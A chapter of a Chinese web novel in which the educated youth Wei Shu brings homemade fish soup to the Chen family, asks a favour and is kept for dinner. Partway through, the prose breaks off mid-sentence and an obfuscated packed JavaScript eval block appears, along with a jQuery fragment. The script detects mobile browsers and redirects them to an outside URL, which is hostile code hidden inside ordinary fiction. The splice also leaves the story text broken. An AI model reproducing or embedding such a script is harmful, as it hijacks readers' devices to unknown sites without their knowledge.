下午和郭老太碰面,魏舒就说自己给她留了份鱼汤。鉴于她的自知之明,还提前跟郭老太打了个预防针,省得老人家到时候一喝,觉得味道出乎自己意料的差。
郭老太没问她哪来的鱼,不知道是猜到了鱼的来源,还是只是单纯地没问,笑呵呵地表示:“这有啥,这年头能沾口荤腥都不容易,谁还挑好不好喝啊。”
魏舒心虚地搓搓手,“那是那是。”
她虽然平时有够自信的,但那是对自己,面对别人还是会谦虚点的,特别是在厨艺这种自己的弱项上,虽然她也没准备提升一下,把这一弱点变成不那么弱的弱点。
“大娘,那等下工我跟你一起回去,有点事儿,想找陈定海帮下忙。”
把牛赶回去拴好,魏舒拿上盛着鱼汤的饭盒,跟郭老太一起往陈家走去。
两人到陈家时,陈大田一家三口也都已经回来了,只有在公社的陈定海还没回来。见魏舒来了,陈红英热情地跟她打招呼,让她坐,又去给她端水。
看得魏舒直乐,“行了行了,我又不是啥稀罕客人,不用这么招待。”
“倒水算啥招待啊,天热渴得快,可不得给你倒碗水。”陈红英说着,已经进屋端了两碗水出来,给郭老太和魏舒两人一人一碗。
魏舒把饭盒递给陈红英,“这是我晌午煮的鱼汤,味儿不咋好,你们凑合着喝吧。”
“鱼汤!”陈红英双眼一亮。
虽然今天晌午她刚吃了鸡,但在这个普遍缺少油水的时代,谁又能拒绝再喝一顿鱼汤呢?哪怕人多汤少,能喝一口也是好的。
“我这就倒碗里,一会儿做饭温一下!”陈红英也是个说做就做的性子,说完就端着饭盒进了厨房。
郭老太笑呵呵地看着陈红英像只小蜜蜂似的跑来跑去,没多大会儿,外头又响起了陈定海有些憨不拉几的声音:“我回来啦!”
下一刻,陈定海就踏进了大门,他先是喊了声“奶”,看见魏舒后也没惊讶,毕竟先前魏舒也经常来他家买点菜,“魏知青也来啦?”
魏舒也没客气,直接问道:“你明天有时间吗?我想请你帮我寄封信。”
“行啊,你带信了没?”陈定海对魏舒的话习以为常。因为他在公社当民兵,每天都得去公社,经常帮队里的社员带东西,再说邮局离公社也很近,去寄信他更顺路。
魏舒大喜,连声道谢,又说:“这会儿没带,等回去了我给你拿过来。”
陈定海无所谓地摆摆手,“那我到明儿走的时候去你那拿也行,省得你再跑一趟。”
“也太麻烦你了吧。”
郭老太插话:“麻烦啥啊,一大小伙子,多跑几步咋了,没那么娇贵!”
一家之主郭老太发话了,魏舒也没再客气,又道了声谢。
陈红英也已经把鱼汤倒进了自家碗里,并且把魏舒的饭盒也洗干净了,见状,魏舒起身就要告辞,“那你们忙吧,我先回去了。”
郭老太挽留:“跟家吃完饭再回去吧?晌午秀兰杀了只鸡呢。”
鸡!魏舒咽了咽口水,艰难地拒绝:“不了不了,你们吃就行。”
她一边回头对郭老太说着,一边往大门走,还没走到门口,就听高秀兰笑着喊了声“魏知青”,魏舒转头去看,就见高秀兰和田三梅妯娌俩自门外走来。她还说今天怎么没见田三梅,看样子是去隔壁了。
她也笑着叫了声“高大娘、田婶子”,忽然觉察到有人在看自己,她顺着看回去,就见早上刚见过面,还把她吓了一跳的那个男人就站在高秀兰和田三梅身后!
魏舒又被吓了一跳。她被吓得往后小退了两步才稳住,“你怎么也在啊?”
陈定山虽然走在最后,但他个子高,一眼就看见了才一天多点就遇到两次的那个女同志站在他二叔家的院子里,脸看向一侧,听声音是在和他奶说话。他起初还有点好奇,他几年没回家,看样子家里又多了个邻居?
随后就听到他亲娘喊了声“魏知青”,陈定山这才有种恍然大悟的顿悟感,怪不得他觉得魏舒面生。虽然他不常回家,但他每次回家,队里也没多出太多眼生的人,而这些人里,除了知青,就是嫁到三桥大队来的媳妇了。
队里倒是也有姓魏的人家,但那家人可没有突然添一个这么大的闺女。早上魏舒说自己是三桥大队的,他没往知青身份上想,还以为是哪家的媳妇,这会儿被高秀兰叫破,他才意识到,原来这个女同志居然是知青。
……
“你怎么也在啊?”魏舒有点无语了。从昨天晚上开始,怎么老是碰见这个人啊?作者是跟她有仇吗?
“魏知青,”陈定山顺着高秀兰的称呼叫了一声,微微笑道,“这是我二叔家啊。”
“嗯?”魏舒黑人问号脸。
倒是一旁的高秀兰问道:“魏知青,你认识定山?”
魏舒一时没反应过来,“定山谁啊?”
“定山是我。”
“呃……”魏舒看向陈定山,原来他叫陈定山啊……不对!
魏舒终于发现了不对。
她看看陈定山,再看看院子里杵在郭老太身边的陈定海,一个定山一个定海,这俩名字这么像,感情他俩是兄弟?!
魏舒傻了,郭老太上午就说她大孙子回来了,这又是个昨天晚上才出现的陌生面孔,为什么她就是没把这两个人往一个人上想啊?
陈定山看看一脸呆滞的魏舒,解答他娘,也是院子里其他人的疑惑:“也不算认识吧,就是我出去跑步的时候,遇见魏知青了。”
“原来这样。”其他人恍然,听说魏知青也爱出去跑步,那他俩遇上还真不奇怪。
注意到魏舒手里的饭盒,高秀兰好奇地问道:“魏知青这是?”
“给我送鱼汤来了。”郭老太笑呵呵道。
魏舒刚回神,就注意到郭老太说完,陈定山的眼神又落在自己身上了,这家伙肯定猜到鱼汤怎么来的了!魏舒暗自腹诽。
但陈定山只是保持着微笑,仿佛自己也
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180688|180947||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不知道魏舒那鱼哪来的。
魏舒暗暗撇嘴,不管其他人能不能猜到,他不说总归是对她只有好处没有坏处。
“那你这是要回去?”高秀兰又问。
魏舒点头,就听高秀兰也说:“还回去干啥?留下来一起吃呗,这都晌午剩的,现成的,温一下就行了。”
郭老太也跟着点头,“就是,我让她留下吃饭,这丫头还不愿意。”
“大娘,你们杀了鸡,我留下来就跟特意厚脸皮来占便宜似的。”
“占啥便宜啊,你不还给我送了碗鱼汤?”郭老太说着,拍板道,“说好了啊,你留下来吃顿饭,你这孩子一个人,吃点肉也不容易。”
郭老太说完,就让儿媳妇们去热饭。陈红英想跟着去帮忙,又怕她魏舒姐一个人不自在,犹豫了一下,还是决定留下陪她魏舒姐说话。
魏舒左右看看,只觉得自己现在坚持回去做饭,好像显得有点不识好歹了,那她就蹭这一顿饭吧。唉,她来之前真没想蹭饭的。
老少几人又在树下坐下来,陈定海坐不住,蹲一边菜地里薅草去了。陈大田话不多,就坐一边默默地喝水,陈红英拉着魏舒叽叽喳喳地没停嘴,从不用给郭老太送饭开始,她也有好几天没见魏舒了,憋了一肚子话想和魏舒说。
郭老太笑眯眯地看着两个女孩儿神采飞扬地交流,时不时插上两句,一派其乐融融。
只有陈大田和陈定山叔侄俩,插不进去话题,就默默地陪着。
晌午炒的鸡剩下不少,晚饭就好做了。妯娌俩商量了一下,田三梅舀面粉和了一盆面,她擀面条,高秀兰则是先烧水,顺便把锅里的剩菜也热了。
面条下好,又捞出来过了遍凉水,田三梅把盛面条的盆端出去,见状,魏舒和陈红英也跟进厨房,帮忙拿拿碗筷,端端菜。
陈大田家人多,饭桌也大,因此陈定山每次回家,两家人都是聚在陈大田家里吃饭。这会儿再加一个魏舒,也能坐得开。
田三梅先给郭老太盛了碗面条,高秀兰则是把热好的鱼汤放到郭老太手边,又往她碗里拨肉。田三梅还想帮魏舒盛,被魏舒赶紧拦住了,她也没坚持,招呼大家伙自己动手盛面。
虽然面条不是纯白面的,但配着鸡肉,也已经是不可多得的好饭了。陈大田和陈定海父子俩各自往碗里拨了些肉,就唏哩呼噜地吃起来。
郭老太看了看手边的鱼汤,让陈红英又进屋拿了个空碗,分给陈定山一多半,“喝鱼汤好,你多喝点儿,伤口也好得快。”
魏舒悄悄伸长了耳朵。
有伤口?这位哥身上还带着伤呢?和平年代生活久了,魏舒一时没反应过来,现在这个时代可不太平。
陈定山又给郭老太倒回去,自己碗里只留了一点,“奶,你喝吧,我尝个味儿就行。”
说着,他端起碗喝了一口。
嗯……
他喝汤的动作顿了顿,这鱼汤的味道……
陈定山咽下嘴里的汤,转头看向魏舒。